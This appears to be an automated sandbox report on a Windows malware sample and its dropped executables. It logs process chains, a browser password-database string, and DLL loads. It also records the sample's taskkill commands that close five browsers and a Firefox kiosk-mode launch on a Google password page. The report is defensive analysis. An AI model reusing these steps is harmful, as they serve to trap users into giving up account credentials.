Source: file.exe, 00000000.00000003.2159282380.00000000052F7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2175481381.0000000000A97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159535647.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2174842839.00000000052F6000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2662978061.0000000005703000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2648842330.000000000570E000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2662787752.000000000570E000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649818466.00000000056DF000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2820465391.00000000062EE000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2817353634.00000000061E7000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2797807955.00000000062C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: YQEN9A9QU4P1VROBPV5YS.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: YQEN9A9QU4P1VROBPV5YS.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe "C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe "C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe"
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe "C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe "C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe "C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe "C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe"
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2280 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2208 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {423ea620-fe66-413c-8935-40f62b63c251} 5916 "\\.\pipe\gecko-crash-server-pipe.5916" 25e3236e310 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe "C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe"
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process created: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe "C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003039001\num.exe "C:\Users\user\AppData\Local\Temp\1003039001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process created: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe "C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2916 -parentBuildID 20230927232528 -prefsHandle 4284 -prefMapHandle 4008 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4f1378f9-151b-4458-be92-e8615185ef25} 5916 "\\.\pipe\gecko-crash-server-pipe.5916" 25e448f6d10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe "C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe"
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2164 -prefMapHandle 2148 -prefsLen 25250 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d656b9f2-c939-41fa-9650-c12bc10d3aaf} 6612 "\\.\pipe\gecko-crash-server-pipe.6612" 20f2056dd10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003039001\num.exe "C:\Users\user\AppData\Local\Temp\1003039001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4896 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4880 -prefMapHandle 4876 -prefsLen 32262 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2bbb0be4-1696-4846-9575-46d8e9741b04} 6612 "\\.\pipe\gecko-crash-server-pipe.6612" 20f3b07f710 utility
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe "C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe "C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe "C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe "C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe "C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003039001\num.exe "C:\Users\user\AppData\Local\Temp\1003039001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process created: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe "C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process created: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe "C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2280 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2208 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {423ea620-fe66-413c-8935-40f62b63c251} 5916 "\\.\pipe\gecko-crash-server-pipe.5916" 25e3236e310 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2916 -parentBuildID 20230927232528 -prefsHandle 4284 -prefMapHandle 4008 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4f1378f9-151b-4458-be92-e8615185ef25} 5916 "\\.\pipe\gecko-crash-server-pipe.5916" 25e448f6d10 rdd
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2164 -prefMapHandle 2148 -prefsLen 25250 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d656b9f2-c939-41fa-9650-c12bc10d3aaf} 6612 "\\.\pipe\gecko-crash-server-pipe.6612" 20f2056dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4896 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4880 -prefMapHandle 4876 -prefsLen 32262 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2bbb0be4-1696-4846-9575-46d8e9741b04} 6612 "\\.\pipe\gecko-crash-server-pipe.6612" 20f3b07f710 utility
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Section loaded: netutils.dll	Jump to behavior
